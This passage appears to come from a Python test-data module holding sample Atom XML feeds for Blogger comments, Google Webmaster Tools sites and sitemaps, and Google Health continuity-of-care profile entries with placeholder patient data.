<link rel="self" type="application/atom+xml" href="http://blogName.blogspot.com/feeds/postID/comments/default"/>
<author>
<name>Blog Author name</name>
</author>
<generator version="7.00" uri="http://www2.blogger.com">Blogger</generator>
<openSearch:totalResults>1</openSearch:totalResults>
<openSearch:startIndex>1</openSearch:startIndex>
<entry>
<id>tag:blogger.com,1999:blog-blogID.post-commentID</id>
<published>2007-04-04T21:56:00.000-07:00</published>
<updated>2007-04-04T21:56:29.803-07:00</updated>
<title type="text">This is my first comment</title>
<content type="html">This is my first comment</content>
<link rel="alternate" type="text/html" href="http://blogName.blogspot.com/2007/04/first-post.html#commentID"/>
<link rel="self" type="application/atom+xml" href="http://blogName.blogspot.com/feeds/postID/comments/default/commentID"/>
<link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/blogID/postID/comments/default/commentID"/>
<author>
<name>Blog Author name</name>
</author>
<thr:in-reply-to xmlns:thr='http://purl.org/syndication/thread/1.0'
href='http://blogName.blogspot.com/2007/04/first-post.html'
ref='tag:blogger.com,1999:blog-blogID.post-postID'
source='http://blogName.blogspot.com/feeds/posts/default/postID'
type='text/html' />
</entry>
</feed>"""
SITES_FEED = """<feed xmlns="http://www.w3.org/2005/Atom"
xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/"
xmlns:gd="http://schemas.google.com/g/2005"
xmlns:wt="http://schemas.google.com/webmasters/tools/2007">
<id>https://www.google.com/webmasters/tools/feeds/sites</id>
<title>Sites</title>
<openSearch:startIndex>1</openSearch:startIndex>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/webmasters/tools/2007#sites-feed" />
<link href="http://www.google.com/webmasters/tools/feeds/sites" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
<link href="http://www.google.com/webmasters/tools/feeds/sites" rel="http://schemas.google.com/g/2005#post" type="application/atom+xml" />
<link href="http://www.google.com/webmasters/tools/feeds/sites" rel="self" type="application/atom+xml" />
<updated>2008-10-02T07:26:51.833Z</updated>
<entry>
<id>http://www.example.com</id>
<title type="text">http://www.example.com</title>
<link href="http://www.google.com/webmasters/tools/feeds/sites/http%3A%2F%2Fwww.example.com%2F" rel="self" type="application/atom+xml"/>
<link href="http://www.google.com/webmasters/tools/feeds/sites/http%3A%2F%2Fwww.example.com%2F" rel="edit" type="application/atom+xml"/>
<content src="http://www.example.com"/>
<updated>2007-11-17T18:27:32.543Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/webmasters/tools/2007#site-info"/>
<gd:entryLink rel="http://schemas.google.com/webmasters/tools/2007#verification"
href="https://www.google.com/webmasters/tools/feeds/http%3A%2F%2Fwww%2Eexample%2Ecom%2F/verification" />
<gd:entryLink rel="http://schemas.google.com/webmasters/tools/2007#sitemaps"
href="https://www.google.com/webmasters/tools/feeds/http%3A%2F%2Fwww%2Eexample%2Ecom%2F/sitemaps" />
<wt:indexed>true</wt:indexed>
<wt:crawled>2008-09-14T08:59:28.000</wt:crawled>
<wt:geolocation>US</wt:geolocation>
<wt:preferred-domain>none</wt:preferred-domain>
<wt:crawl-rate>normal</wt:crawl-rate>
<wt:enhanced-image-search>true</wt:enhanced-image-search>
<wt:verified>false</wt:verified>
<wt:verification-method type="metatag" in-use="false"><meta name="verify-v1" content="a2Ai"/>
</wt:verification-method>
<wt:verification-method type="htmlpage" in-use="false">456456-google.html</wt:verification-method>
</entry>
</feed>"""
SITEMAPS_FEED = """<feed xmlns="http://www.w3.org/2005/Atom"
xmlns:wt="http://schemas.google.com/webmasters/tools/2007">
<id>http://www.example.com</id>
<title type="text">http://www.example.com/</title>
<updated>2006-11-17T18:27:32.543Z</updated>
<link rel="self" type="application/atom+xml"
href="https://www.google.com/webmasters/tools/feeds/http%3A%2F%2Fwww%2Eexample%2Ecom%2F/sitemaps" />
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/webmasters/tools/2007#sitemaps-feed'/>
<wt:sitemap-mobile>
<wt:markup-language>HTML</wt:markup-language>
<wt:markup-language>WAP</wt:markup-language>
</wt:sitemap-mobile>
<wt:sitemap-news>
<wt:publication-label>Value1</wt:publication-label>
<wt:publication-label>Value2</wt:publication-label>
<wt:publication-label>Value3</wt:publication-label>
</wt:sitemap-news>
<entry>
<id>http://www.example.com/sitemap-index.xml</id>
<title type="text">http://www.example.com/sitemap-index.xml</title>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/webmasters/tools/2007#sitemap-regular'/>
<updated>2006-11-17T18:27:32.543Z</updated>
<wt:sitemap-type>WEB</wt:sitemap-type>
<wt:sitemap-status>StatusValue</wt:sitemap-status>
<wt:sitemap-last-downloaded>2006-11-18T19:27:32.543Z</wt:sitemap-last-downloaded>
<wt:sitemap-url-count>102</wt:sitemap-url-count>
</entry>
<entry>
<id>http://www.example.com/mobile/sitemap-index.xml</id>
<title type="text">http://www.example.com/mobile/sitemap-index.xml</title>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/webmasters/tools/2007#sitemap-mobile'/>
<updated>2006-11-17T18:27:32.543Z</updated>
<wt:sitemap-status>StatusValue</wt:sitemap-status>
<wt:sitemap-last-downloaded>2006-11-18T19:27:32.543Z</wt:sitemap-last-downloaded>
<wt:sitemap-url-count>102</wt:sitemap-url-count>
<wt:sitemap-mobile-markup-language>HTML</wt:sitemap-mobile-markup-language>
</entry>
<entry>
<id>http://www.example.com/news/sitemap-index.xml</id>
<title type="text">http://www.example.com/news/sitemap-index.xml</title>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/webmasters/tools/2007#sitemap-news'/>
<updated>2006-11-17T18:27:32.543Z</updated>
<wt:sitemap-status>StatusValue</wt:sitemap-status>
<wt:sitemap-last-downloaded>2006-11-18T19:27:32.543Z</wt:sitemap-last-downloaded>
<wt:sitemap-url-count>102</wt:sitemap-url-count>
<wt:sitemap-news-publication-label>LabelValue</wt:sitemap-news-publication-label>
</entry>
</feed>"""
HEALTH_CCR_NOTICE_PAYLOAD = """<ContinuityOfCareRecord xmlns="urn:astm-org:CCR">
<Body>
<Problems>
<Problem>
<DateTime>
<Type><Text>Start date</Text></Type>
<ExactDateTime>2007-04-04T07:00:00Z</ExactDateTime>
</DateTime>
<Description>
<Text>Aortic valve disorders</Text>
<Code>
<Value>410.10</Value>
<CodingSystem>ICD9</CodingSystem>
<Version>2004</Version>
</Code>
</Description>
<Status><Text>Active</Text></Status>
</Problem>
</Problems>
</Body>
</ContinuityOfCareRecord>"""
HEALTH_PROFILE_ENTRY_DIGEST = """<?xml version="1.0" encoding="UTF-8"?>
<entry xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:ccr="urn:astm-org:CCR" xmlns:batch="http://schemas.google.com/gdata/batch" xmlns:h9m="http://schemas.google.com/health/metadata">
<id>https://www.google.com/health/feeds/profile/default/vneCn5qdEIY_digest</id>
<updated>2008-09-29T07:52:17.176Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/health/kinds#profile" />
<link rel="alternate" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default?digest=true" />
<link rel="self" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/vneCn5qdEIY_digest" />
<link rel="edit" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/vneCn5qdEIY_digest" />
<ContinuityOfCareRecord xmlns="urn:astm-org:CCR">
<CCRDocumentObjectID>vneCn5qdEIY</CCRDocumentObjectID>
<Language>
<Text>English</Text>
<Code>
<Value>en</Value>
<CodingSystem>ISO-639-1</CodingSystem>
</Code>
</Language>
<Version>V1.0</Version>
<DateTime>
<ExactDateTime>2008-09-29T07:52:17.176Z</ExactDateTime>
</DateTime>
<Patient>
<ActorID>Google Health Profile</ActorID>
</Patient>
<Body>
<FunctionalStatus>
<Function>
<Type>
<Text>Pregnancy status</Text>
</Type>
<Description>
<Text>Not pregnant</Text>
</Description>
<Status />
<Source>
<Actor>
<ActorID>user@google.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
</Function>
<Function>
<Type>
<Text>Breastfeeding status</Text>
</Type>
<Description>
<Text>Not breastfeeding</Text>
</Description>
<Status />
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
</Function>
</FunctionalStatus>
<Problems>
<Problem>
<CCRDataObjectID>Hn0FE0IlcY-FMFFgSTxkvA/CONDITION/0</CCRDataObjectID>
<DateTime>
<Type>
<Text>Start date</Text>
</Type>
<ExactDateTime>2007-04-04T07:00:00Z</ExactDateTime>
</DateTime>
<Description>
<Text>Aortic valve disorders</Text>
<Code>
<Value>410.10</Value>
<CodingSystem>ICD9</CodingSystem>
<Version>2004</Version>
</Code>
</Description>
<Status>
<Text>Active</Text>
</Status>
<Source>
<Actor>
<ActorID>example.com</ActorID>
<ActorRole>
<Text>Information Provider</Text>
</ActorRole>
</Actor>
</Source>
</Problem>
<Problem>
<Type />
<Description>
<Text>Malaria</Text>
<Code>
<Value>136.9</Value>
<CodingSystem>ICD9_Broader</CodingSystem>
</Code>
<Code>
<Value>084.6</Value>
<CodingSystem>ICD9</CodingSystem>
</Code>
</Description>
<Status>
<Text>ACTIVE</Text>
</Status>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<HealthStatus>
<Description />
</HealthStatus>
</Problem>
</Problems>
<SocialHistory>
<SocialHistoryElement>
<Type>
<Text>Race</Text>
<Code>
<Value>S15814</Value>
<CodingSystem>HL7</CodingSystem>
</Code>
</Type>
<Description>
<Text>White</Text>
</Description>
<Status />
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Episodes>
<Frequency>
<Units />
</Frequency>
</Episodes>
</SocialHistoryElement>
</SocialHistory>
<Alerts>
<Alert>
<Type>
<Text>Allergy</Text>
</Type>
<Description>
<Text>A-Fil</Text>
</Description>
<Status>
<Text>ACTIVE</Text>
</Status>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Reaction>
<Description />
<Severity>
<Text>Severe</Text>
</Severity>
</Reaction>
</Alert>
<Alert>
<Type>
<Text>Allergy</Text>
</Type>
<Description>
<Text>A.E.R Traveler</Text>
</Description>
<Status>
<Text>ACTIVE</Text>
</Status>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Reaction>
<Description />
<Severity>
<Text>Severe</Text>
</Severity>
</Reaction>
</Alert>
</Alerts>
<Medications>
<Medication>
<Type />
<Description />
<Status>
<Text>ACTIVE</Text>
</Status>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Product>
<ProductName>
<Text>A& D</Text>
</ProductName>
<Strength>
<Units />
<StrengthSequencePosition>0</StrengthSequencePosition>
<VariableStrengthModifier />
</Strength>
</Product>
<Directions>
<Direction>
<Description />
<DeliveryMethod />
<Dose>
<Units />
<DoseSequencePosition>0</DoseSequencePosition>
<VariableDoseModifier />
</Dose>
<Route>
<Text>To skin</Text>
<Code>
<Value>C38305</Value>
<CodingSystem>FDA</CodingSystem>
</Code>
<RouteSequencePosition>0</RouteSequencePosition>
<MultipleRouteModifier />
</Route>
</Direction>
</Directions>
<Refills />
</Medication>
<Medication>
<Type />
<Description />
<Status>
<Text>ACTIVE</Text>
</Status>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Product>
<ProductName>
<Text>A-Fil</Text>
</ProductName>
<Strength>
<Units />
<StrengthSequencePosition>0</StrengthSequencePosition>
<VariableStrengthModifier />
</Strength>
</Product>
<Directions>
<Direction>
<Description />
<DeliveryMethod />
<Dose>
<Units />
<DoseSequencePosition>0</DoseSequencePosition>
<VariableDoseModifier />
</Dose>
<Route>
<Text>To skin</Text>
<Code>
<Value>C38305</Value>
<CodingSystem>FDA</CodingSystem>
</Code>
<RouteSequencePosition>0</RouteSequencePosition>
<MultipleRouteModifier />
</Route>
</Direction>
</Directions>
<Refills />
</Medication>
<Medication>
<Type />
<Description />
<Status>
<Text>ACTIVE</Text>
</Status>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Product>
<ProductName>
<Text>Lipitor</Text>
</ProductName>
<Strength>
<Units />
<StrengthSequencePosition>0</StrengthSequencePosition>
<VariableStrengthModifier />
</Strength>
</Product>
<Directions>
<Direction>
<Description />
<DeliveryMethod />
<Dose>
<Units />
<DoseSequencePosition>0</DoseSequencePosition>
<VariableDoseModifier />
</Dose>
<Route>
<Text>By mouth</Text>
<Code>
<Value>C38288</Value>
<CodingSystem>FDA</CodingSystem>
</Code>
<RouteSequencePosition>0</RouteSequencePosition>
<MultipleRouteModifier />
</Route>
</Direction>
</Directions>
<Refills />
</Medication>
</Medications>
<Immunizations>
<Immunization>
<Type />
<Description />
<Status />
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Product>
<ProductName>
<Text>Chickenpox Vaccine</Text>
<Code>
<Value>21</Value>
<CodingSystem>HL7</CodingSystem>
</Code>
</ProductName>
</Product>
<Directions>
<Direction>
<Description />
<DeliveryMethod />
</Direction>
</Directions>
<Refills />
</Immunization>
</Immunizations>
<VitalSigns>
<Result>
<Type />
<Description />
<Status />
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Substance />
<Test>
<Type />
<Description>
<Text>Height</Text>
</Description>
<Status />
<TestResult>
<ResultSequencePosition>0</ResultSequencePosition>
<VariableResultModifier />
<Value>70</Value>
<Units>
<Unit>inches</Unit>
</Units>
</TestResult>
<ConfidenceValue />
</Test>
</Result>
<Result>
<Type />
<Description />
<Status />
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Substance />
<Test>
<Type />
<Description>
<Text>Weight</Text>
</Description>
<Status />
<TestResult>
<ResultSequencePosition>0</ResultSequencePosition>
<VariableResultModifier />
<Value>2480</Value>
<Units>
<Unit>ounces</Unit>
</Units>
</TestResult>
<ConfidenceValue />
</Test>
</Result>
<Result>
<Type />
<Description />
<Status />
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Substance />
<Test>
<Type />
<Description>
<Text>Blood Type</Text>
</Description>
<Status />
<TestResult>
<ResultSequencePosition>0</ResultSequencePosition>
<VariableResultModifier />
<Value>O+</Value>
<Units />
</TestResult>
<ConfidenceValue />
</Test>
</Result>
</VitalSigns>
<Results>
<Result>
<Type />
<Description />
<Status />
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Substance />
<Test>
<DateTime>
<Type>
<Text>Collection start date</Text>
</Type>
<ExactDateTime>2008-09-03</ExactDateTime>
</DateTime>
<Type />
<Description>
<Text>Acetaldehyde - Blood</Text>
</Description>
<Status />
<TestResult>
<ResultSequencePosition>0</ResultSequencePosition>
<VariableResultModifier />
<Units />
</TestResult>
<ConfidenceValue />
</Test>
</Result>
</Results>
<Procedures>
<Procedure>
<Type />
<Description>
<Text>Abdominal Ultrasound</Text>
</Description>
<Status />
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
</Procedure>
<Procedure>
<Type />
<Description>
<Text>Abdominoplasty</Text>
</Description>
<Status />
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
</Procedure>
</Procedures>
</Body>
<Actors>
<Actor>
<ActorObjectID>Google Health Profile</ActorObjectID>
<Person>
<Name>
<BirthName />
<CurrentName />
</Name>
<DateOfBirth>
<Type />
<ExactDateTime>1984-07-22</ExactDateTime>
</DateOfBirth>
<Gender>
<Text>Male</Text>
</Gender>
</Person>
<Status />
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
</Actor>
</Actors>
</ContinuityOfCareRecord>
</entry>"""
HEALTH_PROFILE_FEED = """<feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/"
xmlns:ccr="urn:astm-org:CCR" xmlns:batch="http://schemas.google.com/gdata/batch" xmlns:h9m="http://schemas.google.com/health/metadata">
<id>https://www.google.com/health/feeds/profile/default</id>
<updated>2008-09-30T01:07:17.888Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/health/kinds#profile"/>
<title type="text">Profile Feed</title>
<link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default"/>
<link rel="http://schemas.google.com/g/2005#post" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default"/>
<link rel="http://schemas.google.com/g/2005#batch" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/batch"/>
<link rel="self" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default?digest=false"/>
<openSearch:startIndex>1</openSearch:startIndex>
<entry>
<id>https://www.google.com/health/feeds/profile/default/DysasdfARnFAao</id>
<published>2008-09-29T03:12:50.850Z</published>
<updated>2008-09-29T03:12:50.850Z</updated>
<category term="MEDICATION"/>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/health/kinds#profile"/>
<category scheme="http://schemas.google.com/health/item" term="A& D"/>
<title type="text"/>
<content type="html"/>
<link rel="http://schemas.google.com/health/data#complete" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/-/MEDICATION/%7Bhttp%3A%2F%2Fschemas.google.com%2Fg%2F2005%23kind%7Dhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fkinds%23profile/%7Bhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fitem%7DA%26+D"/>
<link rel="self" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/DysasdfARnFAao"/>
<link rel="edit" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/DysasdfARnFAao"/>
<author>
<name>User Name</name>
<email>user@gmail.com</email>
</author>
<ContinuityOfCareRecord xmlns="urn:astm-org:CCR">
<CCRDocumentObjectID>hiD9sEigSzdk8nNT0evR4g</CCRDocumentObjectID>
<Language/>
<DateTime>
<Type/>
</DateTime>
<Patient/>
<Body>
<Medications>
<Medication>
<Type/>
<Description/>
<Status>
<Text>ACTIVE</Text>
</Status>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Product>
<ProductName>
<Text>A& D</Text>
</ProductName>
<Strength>
<Units/>
<StrengthSequencePosition>0</StrengthSequencePosition>
<VariableStrengthModifier/>
</Strength>
</Product>
<Directions>
<Direction>
<Description/>
<DeliveryMethod/>
<Dose>
<Units/>
<DoseSequencePosition>0</DoseSequencePosition>
<VariableDoseModifier/>
</Dose>
<Route>
<Text>To skin</Text>
<Code>
<Value>C38305</Value>
<CodingSystem>FDA</CodingSystem>
</Code>
<RouteSequencePosition>0</RouteSequencePosition>
<MultipleRouteModifier/>
</Route>
</Direction>
</Directions>
<Refills/>
</Medication>
</Medications>
</Body>
</ContinuityOfCareRecord>
</entry>
<entry>
<id>https://www.google.com/health/feeds/profile/default/7I1WQzZrgp4</id>
<published>2008-09-29T03:27:14.909Z</published>
<updated>2008-09-29T03:27:14.909Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/health/kinds#profile"/>
<category scheme="http://schemas.google.com/health/item" term="A-Fil"/>
<category term="ALLERGY"/>
<title type="text"/>
<content type="html"/>
<link rel="http://schemas.google.com/health/data#complete" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/-/%7Bhttp%3A%2F%2Fschemas.google.com%2Fg%2F2005%23kind%7Dhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fkinds%23profile/%7Bhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fitem%7DA-Fil/ALLERGY"/>
<link rel="self" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/7I1WQzZrgp4"/>
<link rel="edit" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/7I1WQzZrgp4"/>
<author>
<name>User Name</name>
<email>user@gmail.com</email>
</author>
<ContinuityOfCareRecord xmlns="urn:astm-org:CCR">
<CCRDocumentObjectID>YOyHDxQUiECCPgnsjV8SlQ</CCRDocumentObjectID>
<Language/>
<DateTime>
<Type/>
</DateTime>
<Patient/>
<Body>
<Alerts>
<Alert>
<Type>
<Text>Allergy</Text>
</Type>
<Description>
<Text>A-Fil</Text>
</Description>
<Status>
<Text>ACTIVE</Text>
</Status>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Reaction>
<Description/>
<Severity>
<Text>Severe</Text>
</Severity>
</Reaction>
</Alert>
</Alerts>
</Body>
</ContinuityOfCareRecord>
</entry>
<entry>
<id>https://www.google.com/health/feeds/profile/default/Dz9wV83sKFg</id>
<published>2008-09-29T03:12:52.166Z</published>
<updated>2008-09-29T03:12:52.167Z</updated>
<category term="MEDICATION"/>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/health/kinds#profile"/>
<category scheme="http://schemas.google.com/health/item" term="A-Fil"/>
<title type="text"/>
<content type="html"/>
<link rel="http://schemas.google.com/health/data#complete" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/-/MEDICATION/%7Bhttp%3A%2F%2Fschemas.google.com%2Fg%2F2005%23kind%7Dhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fkinds%23profile/%7Bhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fitem%7DA-Fil"/>
<link rel="self" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/Dz9wV83sKFg"/>
<link rel="edit" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/Dz9wV83sKFg"/>
<author>
<name>User Name</name>
<email>user@gmail.com</email>
</author>
<ContinuityOfCareRecord xmlns="urn:astm-org:CCR">
<CCRDocumentObjectID>7w.XFEPeuIYN3Rn32pUiUw</CCRDocumentObjectID>
<Language/>
<DateTime>
<Type/>
</DateTime>
<Patient/>
<Body>
<Medications>
<Medication>
<Type/>
<Description/>
<Status>
<Text>ACTIVE</Text>
</Status>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Product>
<ProductName>
<Text>A-Fil</Text>
</ProductName>
<Strength>
<Units/>
<StrengthSequencePosition>0</StrengthSequencePosition>
<VariableStrengthModifier/>
</Strength>
</Product>
<Directions>
<Direction>
<Description/>
<DeliveryMethod/>
<Dose>
<Units/>
<DoseSequencePosition>0</DoseSequencePosition>
<VariableDoseModifier/>
</Dose>
<Route>
<Text>To skin</Text>
<Code>
<Value>C38305</Value>
<CodingSystem>FDA</CodingSystem>
</Code>
<RouteSequencePosition>0</RouteSequencePosition>
<MultipleRouteModifier/>
</Route>
</Direction>
</Directions>
<Refills/>
</Medication>
</Medications>
</Body>
</ContinuityOfCareRecord>
</entry>
<entry>
<id>https://www.google.com/health/feeds/profile/default/lzsxVzqZUyw</id>
<published>2008-09-29T03:13:07.496Z</published>
<updated>2008-09-29T03:13:07.497Z</updated>
<category scheme="http://schemas.google.com/health/item" term="A.E.R Traveler"/>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/health/kinds#profile"/>
<category term="ALLERGY"/>
<title type="text"/>
<content type="html"/>
<link rel="http://schemas.google.com/health/data#complete" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/-/%7Bhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fitem%7DA.E.R+Traveler/%7Bhttp%3A%2F%2Fschemas.google.com%2Fg%2F2005%23kind%7Dhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fkinds%23profile/ALLERGY"/>
<link rel="self" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/lzsxVzqZUyw"/>
<link rel="edit" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/lzsxVzqZUyw"/>
<author>
<name>User Name</name>
<email>user@gmail.com</email>
</author>
<ContinuityOfCareRecord xmlns="urn:astm-org:CCR">
<CCRDocumentObjectID>5efFB0J2WgEHNUvk2z3A1A</CCRDocumentObjectID>
<Language/>
<DateTime>
<Type/>
</DateTime>
<Patient/>
<Body>
<Alerts>
<Alert>
<Type>
<Text>Allergy</Text>
</Type>
<Description>
<Text>A.E.R Traveler</Text>
</Description>
<Status>
<Text>ACTIVE</Text>
</Status>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Reaction>
<Description/>
<Severity>
<Text>Severe</Text>
</Severity>
</Reaction>
</Alert>
</Alerts>
</Body>
</ContinuityOfCareRecord>
</entry>
<entry>
<id>https://www.google.com/health/feeds/profile/default/6PvhfKAXyYw</id>
<published>2008-09-29T03:13:02.123Z</published>
<updated>2008-09-29T03:13:02.124Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/health/kinds#profile"/>
<category term="PROCEDURE"/>
<category scheme="http://schemas.google.com/health/item" term="Abdominal Ultrasound"/>
<title type="text"/>
<content type="html"/>
<link rel="http://schemas.google.com/health/data#complete" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/-/%7Bhttp%3A%2F%2Fschemas.google.com%2Fg%2F2005%23kind%7Dhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fkinds%23profile/PROCEDURE/%7Bhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fitem%7DAbdominal+Ultrasound"/>
<link rel="self" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/6PvhfKAXyYw"/>
<link rel="edit" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/6PvhfKAXyYw"/>
<author>
<name>User Name</name>
<email>user@gmail.com</email>
</author>
<ContinuityOfCareRecord xmlns="urn:astm-org:CCR">
<CCRDocumentObjectID>W3Wbvx_QHwG5pxVchpuF1A</CCRDocumentObjectID>
<Language/>
<DateTime>
<Type/>
</DateTime>
<Patient/>
<Body>
<Procedures>
<Procedure>
<Type/>
<Description>
<Text>Abdominal Ultrasound</Text>
</Description>
<Status/>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
</Procedure>
</Procedures>
</Body>
</ContinuityOfCareRecord>
</entry>
<entry>
<id>https://www.google.com/health/feeds/profile/default/r2zGPGewCeU</id>
<published>2008-09-29T03:13:03.434Z</published>
<updated>2008-09-29T03:13:03.435Z</updated>
<category scheme="http://schemas.google.com/health/item" term="Abdominoplasty"/>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/health/kinds#profile"/>
<category term="PROCEDURE"/>
<title type="text"/>
<content type="html"/>
<link rel="http://schemas.google.com/health/data#complete" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/-/%7Bhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fitem%7DAbdominoplasty/%7Bhttp%3A%2F%2Fschemas.google.com%2Fg%2F2005%23kind%7Dhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fkinds%23profile/PROCEDURE"/>
<link rel="self" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/r2zGPGewCeU"/>
<link rel="edit" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/r2zGPGewCeU"/>
<author>
<name>User Name</name>
<email>user@gmail.com</email>
</author>
<ContinuityOfCareRecord xmlns="urn:astm-org:CCR">
<CCRDocumentObjectID>OUKgj5X0KMnbkC5sDL.yHA</CCRDocumentObjectID>
<Language/>
<DateTime>
<Type/>
</DateTime>
<Patient/>
<Body>
<Procedures>
<Procedure>
<Type/>
<Description>
<Text>Abdominoplasty</Text>
</Description>
<Status/>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
</Procedure>
</Procedures>
</Body>
</ContinuityOfCareRecord>
</entry>
<entry>
<id>https://www.google.com/health/feeds/profile/default/_cCCbQ0O3ug</id>
<published>2008-09-29T03:13:29.041Z</published>
<updated>2008-09-29T03:13:29.042Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/health/kinds#profile"/>
<category scheme="http://schemas.google.com/health/item" term="Acetaldehyde - Blood"/>
<category term="LABTEST"/>
<title type="text"/>
<content type="html"/>
